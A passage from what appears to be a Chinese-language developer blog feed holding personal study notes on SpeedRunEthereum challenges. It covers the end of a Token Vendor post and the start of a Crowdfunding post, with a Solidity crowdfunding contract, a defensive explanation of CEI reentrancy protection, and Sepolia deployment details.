class_">Tokens</span><<span class="regexp">/div> /</span>/ 解开</span><br></pre></td></tr></table></figure></div><p><strong>教训</strong>:Scaffold-ETH 2 把 UI 分阶段解锁——合约写了但 UI 没解锁 → 用户看不到效果。</p><hr><h3 id="6-❌-Foundry-默认-keystore-vs-你的-keystore"><a href="#6-❌-Foundry-默认-keystore-vs-你的-keystore" class="headerlink" title="6. ❌ Foundry 默认 keystore vs 你的 keystore"></a>6. ❌ Foundry 默认 keystore vs 你的 keystore</h3><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Foundry 默认 keystore(scaffold-eth-default)</span></span><br><span class="line">$ cast wallet address --account scaffold-eth-default --password localhost</span><br><span class="line">0xa0Ee7A142d267C1f36714E4a8F75612F20a79720 <span class="comment"># Anvil 内置 9 号账户</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 我导入的 keystore(kylinxin)</span></span><br><span class="line">$ cast wallet address --account kylinxin --password <你的密码></span><br><span class="line">0x6d1cd1d9f7226de5af18a7f9fd64e3aa6e81ca04 <span class="comment"># 你的真实 MetaMask</span></span><br></pre></td></tr></table></figure></div><p><strong>关键区别</strong>:</p><ul><li>默认 keystore 是 Anvil 内置,<strong>Sepolia 上没 ETH</strong></li><li>kylinxin keystore 是你的真实钱包,Sepolia faucet 可以充钱</li></ul><p><strong>部署到测试网必须用你自己的 keystore</strong>,否则 gas 都付不起。</p><hr><h3 id="7-❌-Vercel-targetNetworks-chains-foundry"><a href="#7-❌-Vercel-targetNetworks-chains-foundry" class="headerlink" title="7. ❌ Vercel targetNetworks: [chains.foundry]"></a>7. ❌ Vercel <code>targetNetworks: [chains.foundry]</code></h3><p>部署完合约到 Sepolia,但前端还是连本地链!</p><p><strong>修复</strong>:</p><div class="code-container" data-rel="Ts"><figure class="iseeu highlight ts"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// packages/nextjs/scaffold.config.ts</span></span><br><span class="line"><span class="attr">targetNetworks</span>: [chains.<span class="property">foundry</span>], <span class="comment">// ❌</span></span><br><span class="line"><span class="attr">targetNetworks</span>: [chains.<span class="property">sepolia</span>], <span class="comment">// ✅</span></span><br></pre></td></tr></table></figure></div><hr><h2 id="💡-关键心得"><a href="#💡-关键心得" class="headerlink" title="💡 关键心得"></a>💡 关键心得</h2><ol><li><strong>ERC-20 approve 是 DeFi 的通用语</strong>——学完 Vendor 等于学完 Uniswap / Aave / Compound 的核心交互。</li><li><strong>整数除法永远向下取整</strong>——99 GLD / 100 = 0,不是 0.99。</li><li><strong>错误名是 Selector,不是 Label</strong>——拼错 = 测试全挂。</li><li><strong><code>call{value:...}</code> 现代标准</strong>——<code>transfer</code> 在合约钱包时代已经过时。</li><li><strong>Emit 最后发</strong>——状态变更完后再 emit,避免数据不一致。</li><li><strong>Foundry 和 MetaMask 别共用账户</strong>——nonce 会撞。</li><li><strong>前端解锁 = 修改 <code>/* */</code> 注释</strong>——Scaffold-ETH 把 UI 分阶段教。</li><li><strong>Vercel build 比 dev 严格</strong>——dev 能跑不代表 build 能过。</li><li><strong>Owner ≠ Deployer</strong>——deploy 后通过 <code>transferOwnership</code> 转交。</li><li><strong>CEI 顺序同样适用</strong>——<code>call</code> 发 ETH 也是外部调用,理论上需要防重入(虽然本挑战卖 token 时已经先 transferFrom 改了状态)。</li></ol><hr><h2 id="🔗-有用的链接"><a href="#🔗-有用的链接" class="headerlink" title="🔗 有用的链接"></a>🔗 有用的链接</h2><ul><li>Challenge: <a class="link" href="https://speedrunethereum.com/challenge/token-vendor" >https://speedrunethereum.com/challenge/token-vendor<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>我的 Portfolio: <a class="link" href="https://speedrunethereum.com/builders/0x7FB24f7c6BE7fE61dA353E2A0fE38b310aE71f7" >https://speedrunethereum.com/builders/0x7FB24f7c6BE7fE61dA353E2A0fE38b310aE71f7<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>我的 dApp: <a class="link" href="https://token-vendor-ky.vercel.app/" >https://token-vendor-ky.vercel.app<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Sepolia Etherscan: <a class="link" href="https://sepolia.etherscan.io/" >https://sepolia.etherscan.io<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Sepolia 水龙头:<ul><li><a class="link" href="https://www.alchemy.com/faucets/ethereum-sepolia" >https://www.alchemy.com/faucets/ethereum-sepolia<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li><a class="link" href="https://cloud.google.com/application/web3/faucet" >https://cloud.google.com/application/web3/faucet<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li><a class="link" href="https://www.infura.io/faucet/sepolia" >https://www.infura.io/faucet/sepolia<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul></li><li>Vercel: <a class="link" href="https://vercel.com/" >https://vercel.com<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Foundry 文档: <a class="link" href="https://book.getfoundry.sh/" >https://book.getfoundry.sh<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>OpenZeppelin ERC20: <a class="link" href="https://docs.openzeppelin.com/contracts/5.x/erc20" >https://docs.openzeppelin.com/contracts/5.x/erc20<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>OpenZeppelin Ownable: <a class="link" href="https://docs.openzeppelin.com/contracts/5.x/access-control" >https://docs.openzeppelin.com/contracts/5.x/access-control<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul><hr><h2 id="📁-项目文件结构"><a href="#📁-项目文件结构" class="headerlink" title="📁 项目文件结构"></a>📁 项目文件结构</h2><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">challenge-token-vendor/</span><br><span class="line">├── packages/</span><br><span class="line">│ ├── foundry/</span><br><span class="line">│ │ ├── contracts/</span><br><span class="line">│ │ │ ├── YourToken.sol # CP1: ERC-20 + _mint</span><br><span class="line">│ │ │ └── Vendor.sol # CP2/3/4: buy/withdraw/sell</span><br><span class="line">│ │ ├── script/</span><br><span class="line">│ │ │ ├── Deploy.s.sol # 主入口</span><br><span class="line">│ │ │ ├── DeployYourToken.s.sol # 部署 + FRONTEND_ADDRESS + SEND_TOKENS_TO_VENDOR</span><br><span class="line">│ │ │ └── VerifyAll.s.sol # 自动 verify 所有 CREATE 交易</span><br><span class="line">│ │ ├── test/</span><br><span class="line">│ │ │ └── Vendor.t.sol # Foundry 测试(14 个)</span><br><span class="line">│ │ ├── foundry.toml # 网络 + RPC 配置</span><br><span class="line">│ │ └── .env # ALCHEMY/ETHERSCAN API key</span><br><span class="line">│ └── nextjs/</span><br><span class="line">│ ├── scaffold.config.ts # targetNetworks: [chains.sepolia]</span><br><span class="line">│ ├── app/</span><br><span class="line">│ │ ├── token-vendor/page.tsx # 主 UI(Your/Vendor/Buy/Transfer/Sell 区块)</span><br><span class="line">│ │ └── events/page.tsx # BuyTokens + SellTokens 事件表</span><br><span class="line">│ └── contracts/deployedContracts.ts # 部署后自动生成 ABI</span><br><span class="line">├── .challenge-ai/progress.json # AI 引导模式进度</span><br><span class="line">├── AGENTS.md # 项目 AI 指令</span><br><span class="line">├── CLAUDE.md # 引用 AGENTS.md</span><br><span class="line">└── package.json # yarn workspace 根</span><br></pre></td></tr></table></figure></div><hr><h2 id="🎓-Ethereum-101-完成记录"><a href="#🎓-Ethereum-101-完成记录" class="headerlink" title="🎓 Ethereum 101 完成记录"></a>🎓 Ethereum 101 完成记录</h2><p><strong>Ethereum 101 当前进度</strong>:4/4</p><ul><li>✅ Tokenization</li><li>✅ Crowdfunding</li><li>✅ <strong>Token Vendor</strong>(本次)</li><li>✅ Dice Game</li></ul><p><strong>Ethereum 101 完成后推荐方向</strong>:</p><ul><li>🚀 <strong>Build a DEX</strong> — 流动性池 + 恒定乘积(<code>x*y=k</code>),把 Vendor 的固定汇率升级成动态定价</li><li>🔮 <strong>Oracles</strong> — 链下数据(价格、天气)怎么上链</li><li>💰 <strong>Over-Collateralized Lending</strong> — DeFi 借贷基础(Aave 简化版)</li><li>🔐 <strong>ZK Proofs</strong> — 零知识证明入门</li></ul><p><strong>Token Vendor → DEX 的核心跳跃</strong>:</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">固定汇率 → 动态定价曲线</span><br><span class="line">1 ETH = 100 GLD → x * y = k</span><br><span class="line">单一价格 → 根据流动性深度自动调整</span><br></pre></td></tr></table></figure></div><hr><h2 id="📝-SpeedRunEthereum-提交记录"><a href="#📝-SpeedRunEthereum-提交记录" class="headerlink" title="📝 SpeedRunEthereum 提交记录"></a>📝 SpeedRunEthereum 提交记录</h2><ul><li>✅ Vercel URL: <a class="link" href="https://token-vendor-ky.vercel.app/" >https://token-vendor-ky.vercel.app<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>✅ Sepolia 合约:<ul><li>YourToken: <code>0x24ac227C28D204cD0Be8eE602Ef64c0549d03ed9</code></li><li>Vendor: <code>0x657F8DC030c2756CFA4649695f9b8ED640f4554B</code></li></ul></li><li>✅ SpeedRunEthereum 状态:本关 ACCEPTED;系列当前 4/4</li></ul>]]></content>
<summary type="html"></summary>
<category term="区块链开发" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%BC%80%E5%8F%91/"/>
<category term="SpeedRunEthereum" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%BC%80%E5%8F%91/SpeedRunEthereum/"/>
<category term="Solidity" scheme="https://kylinxin.github.io/tags/Solidity/"/>
<category term="SpeedRunEthereum" scheme="https://kylinxin.github.io/tags/SpeedRunEthereum/"/>
<category term="Scaffold-ETH 2" scheme="https://kylinxin.github.io/tags/Scaffold-ETH-2/"/>
<category term="Foundry" scheme="https://kylinxin.github.io/tags/Foundry/"/>
<category term="ERC-20" scheme="https://kylinxin.github.io/tags/ERC-20/"/>
<category term="DeFi" scheme="https://kylinxin.github.io/tags/DeFi/"/>
</entry>
<entry>
<title>SpeedRunEthereum 靶场学习笔记 01:Crowdfunding</title>
<link href="https://kylinxin.github.io/2026/06/22/SpeedRunEthereum%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2001%EF%BC%9ACrowdfunding/"/>
<id>https://kylinxin.github.io/2026/06/22/SpeedRunEthereum%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2001%EF%BC%9ACrowdfunding/</id>
<published>2026-06-22T01:00:00.000Z</published>
<updated>2026-06-25T01:00:00.000Z</updated>
<content type="html"><![CDATA[<blockquote><p>这是我的 SpeedRunEthereum 靶场个人学习笔记。第 1 关 Crowdfunding 聚焦去中心化众筹合约:贡献记账、退款、截止时间、状态机推进、CEI 防重入、Sepolia 部署、Etherscan 验证和前端上线。</p></blockquote><ul><li>关卡:Crowdfunding</li><li>完成日期:2026/06/22</li><li>状态:✅ ACCEPTED(+10 XP)</li><li>Ethereum 101 系列进度:✅ 5/5</li><li>框架:Foundry</li></ul><h2 id="本关目标"><a href="#本关目标" class="headerlink" title="本关目标"></a>本关目标</h2><p>这一关实现一个去中心化众筹 dApp。用户可以在截止时间前向合约贡献 ETH;截止时间后,如果合约余额达到 <code>1 ether</code>,资金转给收款合约;如果没有达到门槛,贡献者可以按自己的贡献额退款。</p><p>项目中有两个核心合约:</p><table><thead><tr><th>合约</th><th>角色</th><th>说明</th></tr></thead><tbody><tr><td><code>CrowdFund</code></td><td>业务合约</td><td>本关需要手写的众筹逻辑</td></tr><tr><td><code>FundingRecipient</code></td><td>收款合约</td><td>出题人提供的收钱罐,不应修改</td></tr></tbody></table><p>这类模型对应的真实场景包括 Gitcoin Grants、Juicebox、ConstitutionDAO 这类链上筹资或公共物品资助系统。</p><h2 id="挑战完成记录"><a href="#挑战完成记录" class="headerlink" title="挑战完成记录"></a>挑战完成记录</h2><table><thead><tr><th>类别</th><th>内容</th></tr></thead><tbody><tr><td>CrowdFund</td><td><code>0x9cc1a9b69c55af0b8aAF6AfDc33b30464c7C2Bd2</code></td></tr><tr><td>FundingRecipient</td><td><code>0x3b56885389111d7C56aA449d6c807D4F426235e3</code></td></tr><tr><td>Deployer</td><td><code>0x6d1cD1d9F7226De5af18a7f9fD64E3aA6e81ca04</code></td></tr><tr><td>Vercel 前端</td><td><a class="link" href="https://crowdfunding-ky.vercel.app/" >https://crowdfunding-ky.vercel.app<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></td></tr><tr><td>Sepolia Etherscan</td><td><a class="link" href="https://sepolia.etherscan.io/address/0x9cc1a9b69c55af0b8aAF6AfDc33b30464c7C2Bd2" >https://sepolia.etherscan.io/address/0x9cc1a9b69c55af0b8aAF6AfDc33b30464c7C2Bd2<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></td></tr><tr><td>部署交易</td><td><code>0xcbc2cbb16fbfe31869361c8ab6e5bcb67292707d6e253e56c9079156dc5275d2</code></td></tr><tr><td>部署费用</td><td><code>0.000436 ETH</code></td></tr><tr><td>区块</td><td><code>11115985</code></td></tr><tr><td>网络</td><td>Sepolia(chain id <code>11155111</code>)</td></tr></tbody></table><h2 id="专题一:众筹合约的状态机"><a href="#专题一:众筹合约的状态机" class="headerlink" title="专题一:众筹合约的状态机"></a>专题一:众筹合约的状态机</h2><p>这个合约的核心不是单个函数,而是一条状态机:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">接受贡献</span><br><span class="line"> contribute() / receive()</span><br><span class="line"> ↓</span><br><span class="line">等待 deadline 到达</span><br><span class="line"> ↓</span><br><span class="line">execute()</span><br><span class="line"> ↓</span><br><span class="line">余额 >= 1 ETH:complete() 转给 FundingRecipient</span><br><span class="line">余额 < 1 ETH:openToWithdraw = true,允许贡献者 withdraw()</span><br></pre></td></tr></table></figure></div><p>关键点是:区块链没有定时器。<code>deadline</code> 到了以后,合约不会自动执行逻辑,必须有人发送交易调用 <code>execute()</code>,状态才会被推进。</p><h2 id="专题二:最终合约代码"><a href="#专题二:最终合约代码" class="headerlink" title="专题二:最终合约代码"></a>专题二:最终合约代码</h2><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br></pre></td><td class="code"><pre><span class="line">// SPDX-License-Identifier: MIT</span><br><span class="line">pragma solidity 0.8.20;</span><br><span class="line"></span><br><span class="line">import "./FundingRecipient.sol";</span><br><span class="line"></span><br><span class="line">contract CrowdFund {</span><br><span class="line"> /////////////////</span><br><span class="line"> /// Errors //////</span><br><span class="line"> /////////////////</span><br><span class="line"> error NotOpenToWithdraw();</span><br><span class="line"> error WithdrawTransferFailed(address to, uint256 amount);</span><br><span class="line"> error TooEarly(uint256 deadline, uint256 currentTimestamp);</span><br><span class="line"></span><br><span class="line"> //////////////////////</span><br><span class="line"> /// State Variables //</span><br><span class="line"> //////////////////////</span><br><span class="line"> FundingRecipient public fundingRecipient;</span><br><span class="line"> mapping(address => uint256) public balances;</span><br><span class="line"> bool public openToWithdraw;</span><br><span class="line"> uint256 public deadline = block.timestamp + 30 seconds;</span><br><span class="line"> uint256 public constant threshold = 1 ether;</span><br><span class="line"></span><br><span class="line"> ////////////////</span><br><span class="line"> /// Events /////</span><br><span class="line"> ////////////////</span><br><span class="line"> event Contribution(address, uint256);</span><br><span class="line"></span><br><span class="line"> ///////////////////</span><br><span class="line"> /// Constructor ///</span><br><span class="line"> ///////////////////</span><br><span class="line"> constructor(address fundingRecipientAddress) {</span><br><span class="line"> fundingRecipient = FundingRecipient(fundingRecipientAddress);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> ///////////////////</span><br><span class="line"> /// Functions /////</span><br><span class="line"> ///////////////////</span><br><span class="line"></span><br><span class="line"> function contribute() public payable {</span><br><span class="line"> balances[msg.sender] += msg.value;</span><br><span class="line"> emit Contribution(msg.sender, msg.value);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> function withdraw() public {</span><br><span class="line"> if (!openToWithdraw) {</span><br><span class="line"> revert NotOpenToWithdraw();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> uint256 amount = balances[msg.sender];</span><br><span class="line"> balances[msg.sender] = 0;</span><br><span class="line"></span><br><span class="line"> (bool success, ) = msg.sender.call{value: amount}("");</span><br><span class="line"> if (!success) {</span><br><span class="line"> revert WithdrawTransferFailed(msg.sender, amount);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> function execute() public {</span><br><span class="line"> if (block.timestamp < deadline) {</span><br><span class="line"> revert TooEarly(deadline, block.timestamp);</span><br><span class="line"> } else {</span><br><span class="line"> if (address(this).balance >= threshold) {</span><br><span class="line"> fundingRecipient.complete{value: address(this).balance}();</span><br><span class="line"> } else {</span><br><span class="line"> openToWithdraw = true;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> receive() external payable {</span><br><span class="line"> contribute();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> function timeLeft() public view returns (uint256) {</span><br><span class="line"> if (block.timestamp <= deadline) {</span><br><span class="line"> return deadline - block.timestamp;</span><br><span class="line"> } else {</span><br><span class="line"> return 0;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p>本地测试结果:<code>yarn test</code> → 13/13 PASSED。</p><h2 id="专题三:地址角色与-msg-sender"><a href="#专题三:地址角色与-msg-sender" class="headerlink" title="专题三:地址角色与 msg.sender"></a>专题三:地址角色与 <code>msg.sender</code></h2><p>这一关最容易混淆的是“谁在调用合约”。</p><table><thead><tr><th>地址</th><th>类型</th><th>作用</th></tr></thead><tbody><tr><td><code>0x6d1c...ca04</code></td><td>EOA</td><td>部署钱包,能签名交易</td></tr><tr><td><code>0x9cc1...Bd2</code></td><td>Contract</td><td><code>CrowdFund</code> 业务合约</td></tr><tr><td><code>0x3b56...35e3</code></td><td>Contract</td><td><code>FundingRecipient</code> 收款合约</td></tr></tbody></table><p><code>balances</code> 映射记录的是 <code>msg.sender</code> 的累计贡献,不是 <code>CrowdFund</code> 合约地址自己的贡献。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">mapping(address => uint256) public balances;</span><br><span class="line"></span><br><span class="line">balances[msg.sender] += msg.value;</span><br></pre></td></tr></table></figure></div><p>如果用 <code>balances[合约地址]</code> 查询,结果通常是 <code>0</code>,因为合约自己没有调用过 <code>contribute()</code>。应该查询贡献者的钱包地址。</p><h2 id="专题四:贡献记账与事件"><a href="#专题四:贡献记账与事件" class="headerlink" title="专题四:贡献记账与事件"></a>专题四:贡献记账与事件</h2><p><code>contribute()</code> 必须用累加,而不是覆盖。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">balances[msg.sender] += msg.value; // 正确:累计贡献</span><br><span class="line">balances[msg.sender] = msg.value; // 错误:覆盖上一次贡献</span><br></pre></td></tr></table></figure></div><p>事件用于让前端、区块浏览器和索引器感知链上行为。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">event Contribution(address, uint256);</span><br><span class="line"></span><br><span class="line">emit Contribution(msg.sender, msg.value);</span><br></pre></td></tr></table></figure></div><p>事件不是合约状态本身,不能在 Solidity 中直接遍历查询;它更像链下系统读取的日志。</p><h2 id="专题五:自定义错误"><a href="#专题五:自定义错误" class="headerlink" title="专题五:自定义错误"></a>专题五:自定义错误</h2><p>本关使用自定义错误替代字符串形式的 <code>require</code>。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">error NotOpenToWithdraw();</span><br><span class="line">error TooEarly(uint256 deadline, uint256 currentTimestamp);</span><br><span class="line"></span><br><span class="line">if (!openToWithdraw) {</span><br><span class="line"> revert NotOpenToWithdraw();</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p>自定义错误的好处是更省 gas,并且错误名和参数会写入 ABI,前端可以更准确地识别失败原因。</p><h2 id="专题六:退款逻辑与-CEI-防重入"><a href="#专题六:退款逻辑与-CEI-防重入" class="headerlink" title="专题六:退款逻辑与 CEI 防重入"></a>专题六:退款逻辑与 CEI 防重入</h2><p>退款函数的关键是 CEI:Checks、Effects、Interactions。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">function withdraw() public {</span><br><span class="line"> if (!openToWithdraw) {</span><br><span class="line"> revert NotOpenToWithdraw();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> uint256 amount = balances[msg.sender];</span><br><span class="line"> balances[msg.sender] = 0;</span><br><span class="line"></span><br><span class="line"> (bool success, ) = msg.sender.call{value: amount}("");</span><br><span class="line"> if (!success) {</span><br><span class="line"> revert WithdrawTransferFailed(msg.sender, amount);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p>顺序必须是先检查、再改状态、最后对外转账。这里先把 <code>balances[msg.sender]</code> 清零,再用 <code>call</code> 发 ETH。</p><p>如果先转账再清零,而接收方是恶意合约,它可以在 <code>receive()</code> 中重入 <code>withdraw()</code>。因为余额还没清零,攻击者就能反复提款。</p><h2 id="专题七:call-value-发-ETH"><a href="#专题七:call-value-发-ETH" class="headerlink" title="专题七:call{value: ...}("") 发 ETH"></a>专题七:<code>call{value: ...}("")</code> 发 ETH</h2><p>现代 Solidity 中推荐使用 <code>call</code> 发送 ETH。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">(bool success, ) = msg.sender.call{value: amount}("");</span><br><span class="line">if (!success) revert WithdrawTransferFailed(msg.sender, amount);</span><br></pre></td></tr></table></figure></div><table><thead><tr><th>方式</th><th>gas 转发</th><th>评价</th></tr></thead><tbody><tr><td><code>transfer</code></td><td>固定 2300 gas</td><td>不推荐,可能让合约钱包收款失败</td></tr><tr><td><code>send</code></td><td>固定 2300 gas</td><td>不推荐,需要手动检查返回值</td></tr><tr><td><code>call{value: ...}("")</code></td><td>转发剩余 gas</td><td>当前更通用,但必须配合 CEI 或重入保护</td></tr></tbody></table><p><code>call</code> 更灵活,但也更危险。它会把执行权交给接收方合约,所以状态更新必须发生在外部调用之前。</p><h2 id="专题八:截止时间与阈值"><a href="#专题八:截止时间与阈值" class="headerlink" title="专题八:截止时间与阈值"></a>专题八:截止时间与阈值</h2><p>合约使用 <code>block.timestamp</code> 表示当前区块时间。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">uint256 public deadline = block.timestamp + 30 seconds;</span><br><span class="line">uint256 public constant threshold = 1 ether;</span><br></pre></td></tr></table></figure></div><p>Solidity 的时间单位本质是乘数:</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">30 seconds</span><br><span class="line">5 minutes</span><br><span class="line">2 hours</span><br><span class="line">1 days</span><br></pre></td></tr></table></figure></div><p>在本关中,<code>execute()</code> 只有在 deadline 到达后才能调用。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">if (block.timestamp < deadline) {</span><br><span class="line"> revert TooEarly(deadline, block.timestamp);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p>测试中可以用 Foundry 的 <code>vm.warp</code> 快速改变区块时间,覆盖 deadline 前后两条路径。</p><h2 id="专题九:receive-的用户体验"><a href="#专题九:receive-的用户体验" class="headerlink" title="专题九:receive() 的用户体验"></a>专题九:<code>receive()</code> 的用户体验</h2><p><code>receive()</code> 让用户直接给合约转 ETH 时,也能走 <code>contribute()</code> 记账逻辑。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">receive() external payable {</span><br><span class="line"> contribute();</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p>如果没有 <code>receive()</code>,用户直接向合约转账可能会失败;或者在某些设计中,ETH 进了合约但没有记录到用户余额,导致退款时查不到贡献。</p><h2 id="专题十:上线流程"><a href="#专题十:上线流程" class="headerlink" title="专题十:上线流程"></a>专题十:上线流程</h2><p>本关使用 Foundry 版本的 Scaffold-ETH 2 模板。</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npx create-eth@2.0.20 -e challenge-crowdfunding challenge-crowdfunding -s 